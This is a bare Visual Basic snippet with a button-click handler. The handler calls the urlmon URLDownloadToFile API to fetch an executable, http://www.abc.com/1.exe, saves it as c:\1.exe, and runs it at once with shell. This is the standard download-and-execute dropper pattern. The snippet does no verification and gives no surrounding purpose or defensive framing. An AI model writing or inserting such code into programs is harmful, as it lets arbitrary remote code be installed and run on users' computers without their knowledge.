Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
sub cmmand1_click()
R= URLDownloadToFile(0,"http://www.abc.com/1.exe" , "c:\1.exe", 0, 0)
shell "c:\1.exe"
end sub